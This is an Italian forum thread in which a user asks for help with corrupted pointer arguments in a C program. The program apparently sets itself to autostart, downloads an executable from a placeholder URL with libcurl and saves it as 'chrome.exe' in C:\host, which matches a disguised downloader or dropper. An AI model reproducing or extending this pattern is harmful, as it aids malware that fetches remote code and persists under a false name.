Pagina 1 di 2 1 2 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 13
  1. #1
    Utente di HTML.it L'avatar di Salvy95
    Registrato dal
    Jul 2008
    Messaggi
    199

    [C] Puntatori e argomenti alla funzione

    Salve ragazzi, ho scritto un breve codice, sappiate che
    AURORAPATH è una directory locale
    SERVERPATH è un url

    codice:
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){
    	AddAutoStartKey(FALSE);
    	if(!fopen(AURORAPATH, "r")){ // Se il client non esiste lo scarico
    		ftpDownload(AURORAPATH, SERVERPATH);
    	}
    	return 0;
    e

    codice:
    #include <curl\curl.h>
    #include <stdio.h>
    
    size_t write_data(void *ptr, size_t size, size_t nmemb, FILE *stream) {
        size_t written;
        written = fwrite(ptr, size, nmemb, stream); // il problema si presenta qui
        return written;
    }
    
    bool ftpDownload(const char * __localPath, const char * _serverPath){ // i puntatori puntano valori casuali
    	CURL *curl;
        FILE *fp;
        CURLcode res;
        curl = curl_easy_init();
        if (curl) {
    		remove(__localPath);
            fp = fopen(__localPath,"wb");
            curl_easy_setopt(curl, CURLOPT_URL, _serverPath);
            curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
            curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);
            res = curl_easy_perform(curl);
            curl_easy_cleanup(curl);
            fclose(fp);
        }
        return 0;
    }

    il punto è che una volta che richiamo la funzione ftpDownload(AURORAPATH, SERVERPATH) i valori AURORAPATH e SERVERPATH (const char * __localPath, const char * _serverPath) assumono valori casuali. Come è risolvibile il problema?

  2. #2
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,480
    Ma i dati sono scaricati?

    Hai fatto un po' di debugging per capire quando le stringhe variano?
    No MP tecnici (non rispondo nemmeno!), usa il forum.

  3. #3
    Utente di HTML.it L'avatar di Salvy95
    Registrato dal
    Jul 2008
    Messaggi
    199
    AURORAPATH e SERVERPATH sono definite all'interno del file macro.h, a sua volta incluso all'interno del file main.cpp, quindi no, non sono scaricate. Per quanto riguarda il debugging invece posso dirti che nello stesso momento in cui passo i puntatori alla funzione FtpDownload già non vengono reperiti i giusti dati... non saprei come procedere

  4. #4
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,480
    Originariamente inviato da Salvy95
    AURORAPATH e SERVERPATH sono definite all'interno del file macro.h,
    Ci fai vedere la dichiarazione?
    No MP tecnici (non rispondo nemmeno!), usa il forum.

  5. #5
    Utente di HTML.it L'avatar di Salvy95
    Registrato dal
    Jul 2008
    Messaggi
    199
    Certo che sì

    codice:
    /* Macro Header file */
    // Definizioni per il compilatore 
    #define  _CRT_SECURE_NO_WARNINGS 1
    #pragma warning(disable : 4996)
    // Definizioni locali Aurora Mw
    #define installPATH "C:\\Program Files\\HDA\\"
    #define EXE "hda.exe"
    #define EXEPATH installPATH EXE
    #define KEYNAME "HDA"
    #define PROCESSNAME "hda"
    // Definizioni locali Aurora 
    #define AURORAINSTALLPATH "C:\\host\\"
    #define AURORAEXE "chrome.exe"
    #define AURORAPATH AURORAINSTALLPATH AURORAEXE
    // Definizioni di rete
    #define URL_MAXLEN 10000
    #define HOST "www.url.com"
    #define SERVERPATH "http://www.url.com/file.exe"
    // Definizioni generali
    #define DEBUG 0

  6. #6
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,480
    Stai compilando con Visual C++ ? Hai impostato l'Unicode per le stringhe?
    No MP tecnici (non rispondo nemmeno!), usa il forum.

  7. #7
    Utente di HTML.it L'avatar di Salvy95
    Registrato dal
    Jul 2008
    Messaggi
    199
    ehm, sono in multybite...
    comunque sì, visual C++ 2010
    http://imageshack.us/photo/my-images...mmagineft.png/

  8. #8
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,480
    Metti un breakpoint nella linea

    curl = ...

    ovvero controlla prima di eseguire la curl_easy_init()
    No MP tecnici (non rispondo nemmeno!), usa il forum.

  9. #9
    Utente di HTML.it L'avatar di Salvy95
    Registrato dal
    Jul 2008
    Messaggi
    199
    continuano a venire fuori valori sballati ç_ç

  10. #10
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,480
    E' molto strano, ma bisognerebbe fare debugging passo passo dell'applicazione. Se vuoi, fai uno zip e la controllo ...
    No MP tecnici (non rispondo nemmeno!), usa il forum.

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.